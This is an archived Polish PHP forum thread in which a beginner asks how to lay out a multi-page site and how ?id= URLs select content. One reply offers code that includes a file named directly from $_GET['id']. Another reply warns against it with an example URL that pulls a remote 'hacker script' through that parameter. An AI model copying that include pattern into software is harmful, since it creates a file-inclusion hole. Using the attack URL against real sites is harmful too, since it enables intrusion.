Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: tworzenie serwisu
Forum PHP.pl > Forum > PHP
zuraw84
witam,
mam kilka pytan:
chcialbym stworzyc jakis serwis z wieksza iloscia pod stron, tylko mam pare pytan, jakie rozwiazania bylyby najlepsze:

1.czy strone tworzyc w ramkach czy tabelach
2.czy w pliku index.php lepiej jest umieszczac cale menu czy moze w osobnym pliku np.menu_lewe.php, menu_prawe.php, dol.php i w index.php uzyc funkcji require do wstawienia tych modulow, a i jak sie to ma do ew. postrzegania strony w przegladarkach
3.jak stworze juz stronke to chcialbym by jej srodek byl zalezny od tego na jaki link menu klikniemy. jak to zrobic ? czy te pod stronki w mysql umieszczac jako tekst interpretowany potem przy wyswietlaniu, czy to maja byc osobne pliki xxx.php wlaczane funkcja require ?

4.na wielu stronach da sie zauwazyc cos takiego ze jak klikne na jakis link to adres jest np. .....domena.pl?id=5. czy jest to robione tak ze np. w mysql jest pod nr. 5 pamietana nazwa pliku do wyswietlenia ? czy jest tworzona na tej podstawie nazwa pliku np. 5.php questionmark.gif?

z gory dzieki za odpowiedz
Wosiedem
Cytat
1.czy strone tworzyc w ramkach czy tabelach

Na divach... Xhtml + css
http://osiolki.net/tabelki/

Cytat
2.czy w pliku index.php lepiej jest umieszczac cale menu czy moze w osobnym pliku np.menu_lewe.php, menu_prawe.php, dol.php i w index.php uzyc funkcji require do wstawienia tych modulow, a i jak sie to ma do ew. postrzegania strony w przegladarkach

funckja require powoduje opóźnienia jednakże jest bardziej czytelna - jak zrobisz tak będzie dobrze.

Cytat
3.jak stworze juz stronke to chcialbym by jej srodek byl zalezny od tego na jaki link menu klikniemy. jak to zrobic ? czy te pod stronki w mysql umieszczac jako tekst interpretowany potem przy wyswietlaniu, czy to maja byc osobne pliki xxx.php wlaczane funkcja require ?

Moim zdaniem o wiele lepiej będzie operować na bazie danych ponieważ jest o wiele łatwiejsza w obsłudze (tym bardziej im więcej jest podstron). Co nie znaczy, że sposób xxx.php jest zły.

Cytat
4.na wielu stronach da sie zauwazyc cos takiego ze jak klikne na jakis link to adres jest np. .....domena.pl?id=5. czy jest to robione tak ze np. w mysql jest pod nr. 5 pamietana nazwa pliku do wyswietlenia ? czy jest tworzona na tej podstawie nazwa pliku np. 5.php questionmark.gif?


Sprawdz to:
  1. <?
  2. $strona = $_GET['id'];
  3. include ($strona . '.php');
  4. ?>
Domin
1) Jeśli chodzi o tworzenie stron, to nie polecam ramek, lepsze są tabele, ja ich używam i nienarzekam.

2) ja do tego typu rzeczy stosuję funkcję include, i z niczym nie mam problemu

3) Jeżeli ma to być jakiś większy serwis to polecał bym oparcie się o podstrony zapisane w bazie danych, a ich treść zrzucana do wzoru pliku jak ma wyglądać includowana część

4) W linkach można wywoływać nie id podstron lecz ich nazwy. Jest to identyczny przykłąd jak podał mój przedmówca lecz zamiast id umieszczamy nazwę podstry, trzeba pamiętać aby przy tworzeniu nazw podstron nazwy się nie powtarzały, najlepiej by było jak by w panelu administracyjnym umiescić odpowiedzialny za to skrypt.
Speedy
Cytat
chcialbym stworzyc jakis serwis z wieksza iloscia pod stron


"jakis" ? Lepiej najpierw zastanów się nad tematyką i nad tym po co w ogóle chcesz taki serwis zakładać. I jeśli ma to być n-ty serwis o wszystkim i o niczym, to wg mnie zakładanie jego jest bez sensu...

ad. 2 ->
W przeglądarkach czy sobie zrobisz include, czy napiszesz normalnie, zawsze wyświetli się tak samo - php działa po stronie serwera, a nie klienta.
btw. poczytaj o szablonach (np. Smarty).

ad. 4 ->
"id" jest zmienną - w zmiennej jest przechowywana jakaś wartość - to, co zmienna warunkuje zależy od programisty. Można w różny sposób wyświetlać zawartość i pobierać ją z różnych źródeł.

Cytat
Sprawdz to:
  1. <?
  2. $strona = $_GET['id'];
  3. include ($strona . '.php');
  4. ?>



Kod
http://www.cos.pl/index.php?id=http://stronasuperhaxora.pl/hakerski_skrypt.php


ohmy.gif
Wosiedem
Cytat
Kod
http://www.cos.pl/index.php?id=http://stronasuperhaxora.pl/hakerski_skrypt.php


ohmy.gif

Chodziło mi tylko o teorie. Zabezpieczanie 'jakiejs' strony to zupełnie inna sprawa... rolleyes.gif
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.